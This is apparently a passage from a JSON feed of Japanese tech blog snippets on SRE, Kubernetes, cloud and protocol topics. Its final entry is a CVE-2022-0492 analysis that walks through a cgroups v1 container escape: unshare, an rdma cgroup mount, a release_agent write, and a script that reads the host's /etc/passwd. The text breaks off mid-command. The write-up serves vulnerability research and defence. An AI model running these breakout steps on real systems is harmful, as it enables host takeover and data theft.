Professionalの合格体験記や勉強法などにお世話になったので自分も書いてみることにしました。教材選びや学習スケジュールの参考になれば嬉しいです。 私の前提知識まず、本題に入る前に私のSAPを受ける前までのスキルセットを軽く紹介させてください。業務でのAWS歴は8ヶ月ほどで現在SREとして働いています以前はRuby on Railsなどを書くプログラマーをやっていましたAWS SAAは2022/03に取得しましたAWSではない他のIT資格は以下で...","link":"https://zenn.dev/tayusa/articles/7b3dd99a79403c","isoDate":"2022-06-24T00:36:49.000Z","dateMiliSeconds":1656031009000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"golangでHTTP3を試してみる","contentSnippet":"はじめについ先日、HTTP3がRFC9114として正式に発表されました。https://blog.cloudflare.com/cloudflare-view-http3-usage/RFC読むよりとりあえずパケット見る派なので、とりあえずコード書いて動かしてキャプチャしたいところです。quic-goは http3 ディレクトリがあり、対応してそうなのでサンプルコードを書いてみました。数日前にcommitが入っていて開発も活発そうですね。サンプルのサーバ側コードを試す時はお手数ですが、opensslやmkcertコマンドなどでご自分で公開鍵&秘密鍵を生成してくださ...","link":"https://zenn.dev/satoken/articles/golang-hajimete-http3","isoDate":"2022-06-14T00:42:51.000Z","dateMiliSeconds":1655167371000,"authorName":"satoken","authorId":"satoken"},{"title":"istio-proxy の log level を変更する","contentSnippet":"Istio でよくわからない通信の問題が発生した際、Envoy の access log だけでは何が起きているのかわからない場合があります。そんなとき、当該 Pod の LogLevel を debug に変更することで得られる","link":"https://blog.1q77.com/2022/06/istio-proxy-log-level/","isoDate":"2022-06-07T07:34:29.000Z","dateMiliSeconds":1654587269000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Mizu で kubernetes 内の通信を覗く (part 1)","contentSnippet":"Mizu - API Traffic viewer for Kubernetes というものの存在を知ったので試してみます。 サイトには次のように書いてあります。気になります。 Mizu offers a real-time view of all HTTP requests, REST and gRPC API calls, as well as Kafka, AMQP (activeMQ / RabbitMQ), and Redis. HTTP も gRPC","link":"https://blog.1q77.com/2022/06/using-mizu-part-1/","isoDate":"2022-06-04T16:04:52.000Z","dateMiliSeconds":1654358692000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"istio-proxyがどのように通信を仲介しているかを知る","contentSnippet":"目的前回、書いた記事で素のKubernetesのネットワークについて少し理解できたのですが、Istioを入れた場合はEnvoyが通信を仲介するのでその仕組みを知りたく調べてみましたhttps://zenn.dev/tayusa/articles/c705cd65b6ee74 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 クラスタのセットアップ kindでクラスタ作成https:...","link":"https://zenn.dev/tayusa/articles/aa54bbff3d0d2d","isoDate":"2022-06-03T18:42:53.000Z","dateMiliSeconds":1654281773000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"【Codezine掲載】システムの信頼性を高める、クラウドネイティブ実践のコツとは？ 青山真也氏\xd7スリーシェイクが語る「これまで」と「これから」","contentSnippet":"「デベロッパーの成長と課題解決に貢献するメディア」をコンセプトに情報発信を行うソフトウェア開発者向けWebメディア「Codezine」に、Srekae事業部部長手塚の対談記事が掲載されました。The post 【Codezine掲載】システムの信頼性を高める、クラウドネイティブ実践のコツとは？ 青山真也氏\xd7スリーシェイクが語る「これまで」と「これから」 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codezine_cloudnative/","isoDate":"2022-06-03T06:31:00.000Z","dateMiliSeconds":1654237860000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Karpenter について調べてみた","contentSnippet":"2021年の re:invent にて GA となったことが発表された、Karpenter について調べてみたのでその共有となります。 公式HP: https://karpenter.sh/ リポジトリ: https:/ […]The post Karpenter について調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-karpenter/","isoDate":"2022-05-30T01:38:25.000Z","dateMiliSeconds":1653874705000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesのServiceの挙動を確認する","contentSnippet":"目的普段、Kubernetesを触ってはいるのですが、表面的な使い方しか知らないので動きを確認してみます 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 ひとまず、ローカルでクラスタを立てる環境に応じてkindをインストールhttps://kind.sigs.k8s.io/docs/user/quick-start/#installationクラスタの作成$ kind ...","link":"https://zenn.dev/tayusa/articles/c705cd65b6ee74","isoDate":"2022-05-28T12:19:47.000Z","dateMiliSeconds":1653740387000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"istio-proxy 停止時の挙動","contentSnippet":"istio の sidecar である pilot-agent, envoy が Pod の終了時にどう振る舞うのかをまとめてみました。 デフォルトの istio-proxy Pod Delete されたタイミングで各コ […]The post istio-proxy 停止時の挙動 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/istio-proxy-stop-behavior/","isoDate":"2022-05-26T00:17:32.000Z","dateMiliSeconds":1653524252000,"authorName":"Sreake","authorId":"Sreake"},{"title":"リモートワークのナレッジ","contentSnippet":"ここ最近リモートワークですが、辛くないですか？とか、〜なときどうしているんですか？みたいなことを複数件聞かれたりしています。自宅で仕事をするようになって2年と半年ぐらいになった男の意識していることや環境のことを共有してみ […]The post リモートワークのナレッジ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/remote-work-knowledge/","isoDate":"2022-05-25T00:15:51.000Z","dateMiliSeconds":1653437751000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Goで立てたWebサーバーでソケットを学ぶ","contentSnippet":"目的TCPなどにまるで明るくないので、学習のために調べてみました 環境Arch Linux(5.17.9-arch1-1)go version go1.18.3 linux/amd64 やることGoで書いたWebサーバーを動かして挙動を確認したり、少しコードを見てみますコードは以下ですpackage mainimport (\\t\\"fmt\\"\\t\\"log\\"\\t\\"net/http\\"\\t\\"time\\")func main() {\\thttp.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request)...","link":"https://zenn.dev/tayusa/articles/077d911b357a92","isoDate":"2022-05-22T12:32:11.000Z","dateMiliSeconds":1653222731000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"【ZDnet寄稿記事掲載】ようこそSREの世界へ","contentSnippet":"テクノロジーで新たなビジネスを創造するすべてのリーダーを対象に、価値創造や課題解決のヒントを発信するメディア「ZDnet Japan」に、Srekae事業部部長手塚が「SRE」をテーマに寄稿記事を連載しております。 多く […]The post 【ZDnet寄稿記事掲載】ようこそSREの世界へ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre_zdnet_what_is_sre/","isoDate":"2022-05-19T07:34:00.000Z","dateMiliSeconds":1652945640000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWSでマルチリージョン対応に利用したサービス","contentSnippet":"2021年３月、AWSで大阪がフルリージョンになり国内でマルチリージョン対応が可能なりました。https://aws.amazon.com/jp/local/osaka-region/ Active-Standbyの構成 […]The post AWSでマルチリージョン対応に利用したサービス first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-multi-region-services/","isoDate":"2022-05-19T00:11:34.000Z","dateMiliSeconds":1652919094000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREの中核を担うモニタリングの必要性とその戦略について理解する","contentSnippet":"SRE導入において「モニタリング」は欠かせない要素のひとつです。モニタリングは、システムを可視化するために行うものであり、常にシステムの健康状態を把握し、問題が何か起こったときにサービスの健全性を判定・診断するうえで中核 […]The post SREの中核を担うモニタリングの必要性とその戦略について理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre-monitoring-strategy/","isoDate":"2022-05-18T02:01:21.000Z","dateMiliSeconds":1652839281000,"authorName":"Sreake","authorId":"Sreake"},{"title":"良いポストモーテムを執筆するために必要な5つのポイント","contentSnippet":"SREにおいてポストモーテムの文化を根付かせることは必要不可欠です。ポストモーテムはSREの導入効果をより高め、結果としてシステムの信頼性向上に繋がる体制が作れます。 本記事では、良いポストモーテムの形成方法について解説 […]The post 良いポストモーテムを執筆するために必要な5つのポイント first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/5point-good-postmortem/","isoDate":"2022-05-18T01:59:15.000Z","dateMiliSeconds":1652839155000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るHTTP2プロトコル","contentSnippet":"はじめに前回まででTLS1.3+HTTPのプロトコルスタックの自作に成功しました。自作したのはHTTP1.1です。皆さんご存知のように新しいVersionのHTTP2が普及されています。今回はHTTP2プロトコルスタックを自作してみようと思います。今回の方針です。net/http2 は使わない自作したコードでリクエストをnginxに送りhtmlが返ってくればヨシ！HTTP2でGETを送るgoのコードの処理を自作したということなので、HTTP2自体を全部作ってるわけではなく一部になります、ご承知おきください\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️またHTTP2自体の解説より実装中...","link":"https://zenn.dev/satoken/articles/golang-http2","isoDate":"2022-05-16T12:00:30.000Z","dateMiliSeconds":1652702430000,"authorName":"satoken","authorId":"satoken"},{"title":"Google Cloud上で簡易的な高権限管理を実現する","contentSnippet":"高権限管理とは 高権限、特権ID、リリース権限、etc… 平常時は運用に必要な最低限の権限のみを持ち、リリース作業や障害対応などの必要なタイミングでのみ権限を一時的に付与する 安全な運用の面ではもちろん、上場 […]The post Google Cloud上で簡易的な高権限管理を実現する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcp-privilege-management/","isoDate":"2022-05-16T01:04:42.000Z","dateMiliSeconds":1652663082000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Azure AKSを試す","contentSnippet":"やったことAKSをazure-cliで構築する。Golangのアプリをデプロイする。AKS構築ログイン$ az loginサブスクリプションを確認し、SubscriptionIdをセット…","link":"https://qiita.com/ys1/items/c76cc01dcaf2ed0a6f14","isoDate":"2022-05-13T22:40:47.000Z","dateMiliSeconds":1652481647000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Datadog APMを用いてLambdaのパフォーマンスを可視化する","contentSnippet":"AWSのプロジェクトではお馴染みのLambda関数を、 Datadog APMを用いてトレース情報の取得の手順についてご紹介しますThe post Datadog APMを用いてLambdaのパフォーマンスを可視化する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-lambda/","isoDate":"2022-05-12T10:48:40.000Z","dateMiliSeconds":1652352520000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GKE Autopilot 触ってみました","contentSnippet":"社内プロダクトではこんな感じで GKE Autopilot を使ってます 注意する箇所 Terraform google provider のバージョンを一定以上に上げる必要がある 公式の GCP Terraform M […]The post GKE Autopilot 触ってみました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gke-autopilot/","isoDate":"2022-05-12T02:00:00.000Z","dateMiliSeconds":1652320800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"cert-manager について学ぶ","contentSnippet":"ACME challenges [HTTP01] 概念が掴みにくい用語 チャレンジ (challenges)ACME クライアント(cert-manager)がドメインを所有しているのを確認すること Issuer (発行 […]The post cert-manager について学ぶ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-cert-manager/","isoDate":"2022-05-10T01:03:04.000Z","dateMiliSeconds":1652144584000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GCR に push するときの権限周りの注意点","contentSnippet":"説明すること GCR での権限エラーの概要 GCS のバケットレベルについて GCR でのイメージの保存方法について GCR での権限エラーの概要 起きたこと あるアプリチームは GCR にイメージを push できるの […]The post GCR に push するときの権限周りの注意点 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcr-push/","isoDate":"2022-05-10T01:02:05.000Z","dateMiliSeconds":1652144525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWSリソースの自動起動停止について","contentSnippet":"考えたこと拡張性自動起動停止したいサーバーは増えていくだろうし、状況に応じて設定を一時解除したりもしたい。そのため、起動停止の設定を簡単に追加削除できるのが望ましい。さまざまなリソースの起動停…","link":"https://qiita.com/ys1/items/b5ea8bff2729aa7b2bcf","isoDate":"2022-05-08T11:57:00.000Z","dateMiliSeconds":1652011020000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"golangで作るTLS1.3プロトコル","contentSnippet":"はじめに前回までの記事でTLS1.2プロトコルスタックを自作してみました。ただ皆さんご存知の通り、TLS1.2の脆弱性の対策やQUICなど新しいプロトコルへの対応を考慮して設計したTLS1.3が2018年にリリースされ普及が進んでいます。使用率ではまだTLS1.2が一般的ですが今後は1.3へと置き換えが進んでいくと、どこかの時点で逆転するのでしょう。そのときに慌てて学ぶよりも、今1.3も実装して学ぶことにします\uD83D\uDE0Aまぁ1.2作れたしイケるでしょう(死亡フラグ\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07)今回の実装方針です。crypto/tls は一切使わずTLS1.3のフルハンドシェイクをオレオレで実装する...","link":"https://zenn.dev/satoken/articles/golang-tls1_3","isoDate":"2022-05-06T13:25:32.000Z","dateMiliSeconds":1651843532000,"authorName":"satoken","authorId":"satoken"},{"title":"TerraformでECS FargateのBlue/Greenデプロイを構築する","contentSnippet":"概要TerraformでECS Fargateの環境を構築Codeシリーズを利用してBlue/Greenデプロイをできるようにする。Blue/Green時に必要な部分だけ記載Fargate …","link":"https://qiita.com/ys1/items/c6ee6a0d8474a7dfdd49","isoDate":"2022-05-05T04:30:15.000Z","dateMiliSeconds":1651725015000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"【バグバウンティQ＆A】Intigritiはバグバウンティプログラムをどのように最適化しているか？","contentSnippet":"【Q&A】シリーズでは、バグバウンティプログラムに関するよくある質問について、弊社CEOのStijn Jansがお答えしています。今回は、「Intigritiはバグバウンティプログラムをどのように最適化しているか」についてご紹介します。The post 【バグバウンティQ＆A】Intigritiはバグバウンティプログラムをどのように最適化しているか？ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/how-does-intigriti-optimise-bug-bounty-success/","isoDate":"2022-04-28T01:55:08.000Z","dateMiliSeconds":1651110908000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FargateにDatadog Agent導入してみた","contentSnippet":"Sreake事業部の槌田です。普段はSREとして設計、構築、監視まで業務をこなしています。最近、監視業務でDatadogを使うことが多くなってきて興味を持ち始めたので検証や知見を書いていく予定です！先日案件でECS on FargateにDatadog Agentを入れたのでインストール方法や知見を書いていきます。The post FargateにDatadog Agent導入してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-agent/","isoDate":"2022-04-26T05:50:23.000Z","dateMiliSeconds":1650952223000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Datadog 101概要で紹介されているサービスのまとめ","contentSnippet":"Datadog 101 - 概要の動画で紹介されている機能について、著者なりの解釈で、キャプチャ画像とともにかいつまんでご紹介していきたいと思います。The post Datadog 101概要で紹介されているサービスのまとめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog101/","isoDate":"2022-04-26T05:50:18.000Z","dateMiliSeconds":1650952218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るTLS1.2プロトコル(ECDHE&クライアント認証編)","contentSnippet":"はじめに前回TLS1.2プロトコルスタックを自作してみましたが、実装が及んでない部分がありました。1つは鍵交換がRSAだけになっているのともう1つはクライアント認証に対応していないところです。RSAではその仕組み上セキュリティ的に脆弱な点がありますし、サーバからクライアント認証を求められたら対応できませんので機能追加を行います。まずはECDHE鍵交換の対応から行います。 ECHDE鍵交換前回の記事でも書きましたがRSAでは毎回同じ公開鍵でpremaster secretを暗号化するため、秘密鍵が一旦漏れてしまうとそれまでの通信が全て復号される可能性があります。このRS...","link":"https://zenn.dev/satoken/articles/golang-tls1_2_2","isoDate":"2022-04-22T02:03:50.000Z","dateMiliSeconds":1650593030000,"authorName":"satoken","authorId":"satoken"},{"title":"Google Cloud PCA について","contentSnippet":"試験概要 どんな試験？ Professional Cloud Architect 認定資格 | Google Cloud Professional Cloud Architect は、Google Cloud の技術を組 […]The post Google Cloud PCA について first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-pca-%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6/","isoDate":"2022-04-20T00:02:02.000Z","dateMiliSeconds":1650412922000,"authorName":"Sreake","authorId":"Sreake"},{"title":"zennの執筆環境向けdevcontainerを作成した話","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るTLS1.2プロトコル","contentSnippet":"はじめに前回自作でTCPIP+HTTPを実装して動作を確認することができました。しかしご覧頂いた方はおわかりのように、通信はHTTP=平文でやり取りされておりパスワードなど機密情報が用意に見れてしまう状態です。普段我々がブラウザに安心してパスワードを入力しているのは通信がTLSで暗号化されているからです。ではそのTLSの仕組みはどうなっているのでしょう？恥ずかしい限りですが僕はわかりません。\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07ということで以下を読みながらTLSプロトコルを自作してみてその仕組みを学ぶことにします。マスタリングTCP/IP情報セキュリティ編RFC5246プロフェッショナルSSL/T...","link":"https://zenn.dev/satoken/articles/golang-tls1_2","isoDate":"2022-04-16T03:22:38.000Z","dateMiliSeconds":1650079358000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"吉祥寺.pm29で久しぶりにLTしてきました #kichijojipm","contentSnippet":"kichijojipm.connpass.com久しぶりにLTしてきました。久しぶりに外で発表したいなと思いつつ、だいぶブランクあるのでちょうどいいリハビリできるところがないかな。— masasuzu (@masasuz) 2022年4月9日 こんなこと考えてたら良いタイミングできちぴーが開催されるので、LT申し込んでみました。#kichijojipm 7年ぶりにLTしたので緊張した。というのと、前回の発表調べて7年前もきちぴーあったのかという驚きもあった。— masasuzu (@masasuz) 2022年4月12日 どうやら7年ぶりだったみたいです。タイミング的に最終出社日の翌日だったので、キャリアの話をしました。diary.masasuzu.net正直、LTにおさまる量じゃなかったのは反省点です。資料ももうちょっとなんとかできたかなあという気持ちがあります。少しずつ登壇回数増やして、勘を取り戻していきたいところ。","link":"https://blog.masasuzu.net/entry/2022/04/15/202342","isoDate":"2022-04-15T11:23:42.000Z","dateMiliSeconds":1650021822000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"CVE-2022-0492 調査まとめ","contentSnippet":"cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。イベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。 speakerdeck.comCVE-2022-0492 概要release_agent についてエクスプロイト前提条件要点検証修正パッチコンテナセキュリティseccompAppArmor (SELinux)Kubernetes の場合EKS, GKE の場合さいごに参考リンクCVE-2022-0492LinuxコンテナセキュリティCVE-2022-0492 概要CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。release_agent についてcgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。# ls /sys/fs/cgroup/blkio cpu,cpuacct cpuset freezer memory net_cls net_prio pids systemdcpu cpuacct devices hugetlb misc net_cls,net_prio perf_event rdma unifiedrelease_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。cgroup のディレクトリ構成pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。# ls /sys/fs/cgroup/pids/cgroup.clone_children cgroup.sane_behavior docker notify_on_release system.slice user.slicecgroup.procs default init.scope release_agent tasks# cat /sys/fs/cgroup/pids/release_agent ← 空のファイル# cat /sys/fs/cgroup/pids/notify_on_release 0ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。エクスプロイト前提条件本脆弱性は次の条件を全て満たす場合に影響があります。root ユーザーまたは、no_new_privsフラグなしでコンテナを起動しているseccomp, AppArmor/SELinux がいずれも有効でないホストの非特権ユーザー名前空間が有効（ubuntu ではデフォルトの設定です）各設定の確認方法↓# cat /proc/sys/kernel/unprivileged_userns_clone ← 非特権ユーザ名前空間1# cat /proc/self/status | grep Seccomp ← seccompSeccomp: 0Seccomp_filters: 0# cat /proc/self/attr/current ← AppArmordocker-default (enforce)要点コンテナから cgroups の release_agent に書き込みたいrdma サブシステムは root cgroup に所属しているが、readonly でマウントされているcgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られるcgroup, mount ns も同時に作成することで cgroup をマウント可能にrdma cgroup をマウント すると release_agent に書き込み可能cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行検証脆弱な Kernel バージョンで CVE-2022-0492 を検証します。インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。# uname -aLinux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashdocker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。root@ab988587a245:/# cat /proc/self/cgroup13:misc:/12:rdma:/ ← rdma サブシステムは root cgroup11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a0::/system.slice/containerd.serviceこれで rdma サブシステムが root cgroup に所属していることがわかりました。root@ab988587a245:/# mount | grep \'cgroup (ro\'cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← readonly でマウントされているcgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/total 0-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.clone_children-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.procs-r--r--r-- 1 root root 0 Mar 15 01:40 cgroup.sane_behavior-rw-r--r-- 1 root root 0 Mar 15 01:40 notify_on_release-rw-r--r-- 1 root root 0 Mar 29 16:01 release_agentdrwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice-rw-r--r-- 1 root root 0 Mar 15 01:40 tasksroot@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system ← 書き込みエラーというわけで、cgroup を rw でマウントできれば良いことになります。ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。root@ab988587a245:/# apt update && apt install -y libcap2-binroot@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 00000000a80425fbroot@ab988587a245:/# capsh --decode=00000000a80425fb0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcaproot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mntmount: /mnt: permission denied. ← マウントエラーCAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。マウントさえできれば release_agent に書き込むことができます。root@ab988587a245:/# unshare -rmC bash ← user, mount, cgroup ns を作成root@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 000001ffffffffffroot@ab988587a245:/# capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40 ← CAP_SYS_ADMIN を持つroot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← rdma サブシステムをマウントroot@ab988587a245:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@ab988587a245:/# mount | grep \'cgroup (rw\'cgroup on /mnt type cgroup (rw,relatime,rdma)ここまでで、コンテナ内から release_agent に書き込めるようになりました。続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。root@ab988587a245:/# host_path=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab`root@ab988587a245:/# echo $host_path/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← upperdir のパスroot@ab988587a245:/# echo \\"$host_path/cmd\\" > /mnt/release_agentroot@ab988587a245:/# echo \'#!/bin/sh\' > /cmdroot@ab988587a245:/# echo \\"cat /etc/passwd > $host_path/output\\" >> /cmdroot@ab988587a245:/# chmod a+x 